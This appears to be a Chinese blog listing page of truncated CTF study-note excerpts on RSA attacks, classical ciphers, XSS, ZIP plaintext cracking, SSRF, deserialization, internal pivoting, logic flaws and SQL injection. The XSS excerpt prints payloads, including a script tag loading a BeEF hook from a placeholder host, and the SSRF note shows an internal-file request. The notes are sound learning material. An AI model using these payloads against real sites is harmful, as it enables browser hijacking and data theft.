快速入门crypto-RSA 核心笔记
快速入门crypto-RSA 核心笔记一、加解密核心公式1. 密钥生成 选两个大质数 p 和 q 计算模数 n = p * q 计算欧拉函数 φ(n) = (p-1) * (q-1) 选公钥 e,满足 1 < e < φ(n) 且 e 和 φ(n) 互质(最大公约数为 1) 求私钥 d,满足 (e * d) mod φ(n) = 1 → d 是 e 在模 φ(n) 下的逆元 2. 加密明文 m → 密文 c 1c = m^e mod n 3. 解密密文 c → 明文 m 1m = c^d mod n 二、常见攻击方式(大白话)1. 模数可分解攻击(最基础) 适用场景:拿到公钥 (e, n) 和密文 c,且能把 n 拆成 p*q 攻击原理 : 分解 n = p*q(CTF 里常用工具:yafu、factordb 网站) 算 φ(n) = (p-1)*(q-1) 求 e 的逆元 d → 用 d 解密 c 得 m 关键条件:n 能被成功分解(如果 p 和 q 太小,分解很容易) 2. 共模攻击(同一 n 漏洞) 适用场景:同一明文 m,用同一个 n、不同...
密码学crypto学习笔记
密码学crypto学习笔记HEX、DEC、OCT 和 BIN含义如下: HEX,英文全称 Hexadecimal,表示十六进制。 DEC,英文全称 Decimal,表示十进制。 OCT,英文全称 Octal,表示八进制。 BIN,英文全称 Binary,表示二进制。 1.Quoted-printabl 可打印字符 引用 编码Quoted-printable编码是一种二进制数据在Internet上传输时的一种编码方式。 它将二进制数据转换成可打印的ASCII字符。 这种编码方式将每个非可打印字符 (ASCII值小于32或大于126),如二进制数据的控制字符或扩展字符 (如汉字),转换为一个等号”=“加上它的ASCII值的16进制表示,如”x0A”会变成”=0A”。 2.栅栏密码123 栅栏密码是一种简单的替换式密码 加密过程 以明文 “THIS IS ZHISHITOM” 为例,去除空格后得到 “THISISZHISHITOM”。如果设置栏数为3进行加密,加密过程如下: 第一组:T H I S I 第二组:S Z H I S 第三组:H I T O...
b站网课ctf学习笔记
b站网课ctf学习笔记1.python requests2.信息收集2.1谷歌黑客搜索语法 fofa github泄露源码和账号密码 2.2 主动信息收集 网站指纹识别 端口扫描 目录扫描 子域名扫描 漏洞扫描 3. XSS 攻击3.1 反射型(非持久) 特征:恶意代码通过 URL 传入,单次请求生效 常见攻击方式: 重定向: 1<script>window.location="恶意网址"</script> 图片加载恶意脚本: 1<img src="http://BeEF_IP:3000/hook.js"> 脚本标签: 1<script src="恶意xss.js"></script> 绕过滤:大小写、URL/Base64 编码 1<ScrIpT> URL/Base64 编码 3.2 存储型(持久) 特征:恶意代码存到服务器(数据库 / 留言板等),所有访问者中招 核心:代码提交后被持久...
ZIP 明文爆破笔记
ZIP 明文爆破笔记一、核心原理1. 加密逻辑(ZipCrypto 算法) 加密:明文 XOR 密码流 = 密文 解密:密文 XOR 密码流 = 明文 反推密码流:明文 XOR 密文 = 密码流 2. XOR(异或)规则二进制运算:相同为 0,不同为 1 例:a(01100001)XOR 5(00000101)= d(01100100);d XOR 5 又变回 a 3. 明文爆破本质已知明文 + 对应密文→算密码流→反推 ZIP 的 3 个核心密钥(key0/key1/key2)→用密钥解密整个 ZIP 前提:仅对 ZIP 传统加密有效,AES256 加密无效! 二、bkcrack 使用条件 ZIP 内文件未压缩(检查:bkcrack -L 压缩包.zip) 已知至少12 字节明文(8 字节连续)+ 明文在文件中的位置(偏移) 三、题目bkcrack 无法直接破解 ZIP 密码,必须靠 “已知明文”和“你已有密文” 反推加密密钥,再用密钥解密 不管是字符明文还是文件头明文,核心是: 准备明文文件 → 得密钥 → 用...
web学习为什么post传参和cookie的分隔符号不同?
web学习为什么post传参和cookie的分隔符号不同?在学传参的时候将常会遇到多传参的题目,但是cookie用的是;,post用的是& 它们诞生于不同的年代,服务于不同的标准,为了互不干扰,必须使用不同的“切割符”。 1. & 分隔符:来自“表单”的传统 (HTML 标准)& 符号主要用于 URL 查询参数(GET)和 POST 请求体(application/x-www-form-urlencoded)。 起源:它是由 HTML 标准定义的。当我们提交一个网页表单时,浏览器需要一种方式把 key1=value1、key2=value2 串起来。 为什么选 &:在早期的 ASCII 码表中,& (Ampersand) 是一个常用的连接符,且在普通文本中出现的频率远低于逗号或分号,不容易引起歧义。 结构示例: user=admin&pass=123456&action=login 2. ; 分隔符:来自“饼干”的规范 (HTTP Cookie 标准)Cookie 的格式是由专门的 RFC 规范(如 RFC 6265...
快速入门web-ssrf
快速入门web-ssrfSSRF 就是让 Web 服务器替你干活,去访问它能到但你不能到的地址。 举个 CTF 里的常见场景: 你作为攻击者,只能访问目标网站的前台页面(比如http://xxx.com/get.php?url=xxx); 这个网站的服务器,能访问自己的内网(比如127.0.0.1、192.168.1.100),这些内网地址你直接连不上; 你把参数改成 url=http://127.0.0.1/flag.txt,如果网站没过滤这个参数,就会让服务器自己去访问内网的flag.txt,然后把内容返回给你。 核心就是借服务器的 “身份”,看它能看的东西,CTF 里常用来拿内网的 flag、扫内网端口。 学习 SSRF 的关键技巧 记协议:SSRF 常用协议是http://(访问内网服务)、file://(读本地文件)、php://filter(读源码)、gopher://(构造复杂请求,高阶用); 记绕过:遇到过滤就换内网地址写法(127.1、0、[::1])、换协议(http→https)、加特殊字符(比如@、#); 找触发点:看到 URL/redire...
快速入门web-反序列化-POP 链
快速入门web-反序列化-POP 链知识点:1.魔术方法:__construct() //用于在创建对象时自动触发当使用 new 关键字实例化一个类时,会自动调用该类的 __construct() 方法__destruct() //__destruct() 用于在对象被销毁时自动触发对象的销毁对象的引用计数减少为零来触发__sleep() //序列化serialize() 函数会检查类中是否存在一个魔术方法sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组__wakeup() //用于在反序列化对象时自动调用unserialize() 会检查是否存在一个 wakeup() 方法,如果存在,则会先调用wakeup()方法__tostring() //__tostring() 在对象被当做字符串处理时自动调用比如echo、==、p...
快速入门web-内网渗透
快速入门web-内网渗透CTF 里的内网渗透,就是拿下一台机器,从这台机器出发,横向攻击内网里其他机器,最终拿到目标 flag。 你可以把内网理解成一个 “封闭的局域网”—— 你一开始只能直接接触到一台 “边界机器”(比如 Web 服务器),但内网里还藏着数据库、其他服务器、甚至存储 flag 的主机,这些机器你没法直接访问,只能靠已经拿下的机器当 “跳板”。 CTF 内网渗透的核心步骤(Web 入口为例) 拿下边界机器(突破口) 先通过 Web 漏洞(比如 PHP 代码执行、文件上传、SSRF)拿到这台 Web 服务器的权限(比如shell)。 这一步是内网渗透的基础,没有这个跳板就没法继续。 内网信息收集 在跳板机上执行命令,摸清内网情况: 查内网 IP 段:ifconfig/ip a(比如发现内网是192.168.1.0/24); 扫内网存活主机和开放端口:ping、nmap(比如发现192.168.1.10开了 MySQL 端口); 找敏感信息:查看服务器里的配置文件(比如数据库账号密码、其他机器的登录凭证)。 横向移动(攻击其他机器) 用收集到的信息攻击...
快速入门web-逻辑漏洞
快速入门web-逻辑漏洞逻辑漏洞就是 Web 应用的 “业务流程设计缺陷” —— 不是代码语法写错了,而是开发者设计功能时,没考虑到攻击者会 “钻规则的空子”。 它和 SQL 注入、XSS 这类 “代码层漏洞” 不一样,逻辑漏洞藏在业务逻辑里,比如登录、支付、权限管理这些环节。 CTF 里最常见的逻辑漏洞例子 越权访问 比如你登录用户 A 的账号,把 URL 里的user_id=1改成user_id=2,就能直接看用户 B 的信息 / 订单。 原因:服务器没校验 “当前登录用户是否有权限访问这个 user_id”。 密码重置绕过 密码重置时,网站发了个验证链接reset?token=abc123,你把 token 改成abc124,居然能重置别人的密码。 原因:服务器没校验 token 和用户的绑定关系,或者 token 生成规则太简单。 支付金额篡改 下单时前端显示价格是 100 元,你抓包把请求里的amount=100改成amount=0.01,服务器居然直接按 0.01 元结算。 原因:服务器没对前端传过来的金额做二次校验,直接信任了用户输入。 登录态绕过 有些...
b站网课sql笔记+日常学习知识点
b站网课sql笔记+日常学习知识点0.unionunion意为合并,拼接 通常注入的时候写进:union select 会把这里的数据表和外面本身存在的表合并在一起 1SELECT 语句 A` + `UNION` + `SELECT 语句 B 1 (列名) a (列名) b (列名) 1 2 3 (你定义的数字) 1 admin flag{this_is_real_data} (来自 select *) 这时候你就可以根据列名得到那一列的所有数据了 1.双写select2.报错注入floor 向下取整 rand():0-1 floor(rand()*2):0,1,1循环 3 种核心方法:floor、extractvalue、updatexml——报错注入就是 “故意让数据库报错,从错误信息里偷数据” 先统一前提(CTF 里常用)假设是单引号字符型注入(比如 Less-1),注入点是?id=1',我们要偷的是 “当前数据库名”(用database()函数获取)。 1. floor 报错注入(最经典:临时表撞车)核心逻辑:(MySQL 在 GROUP...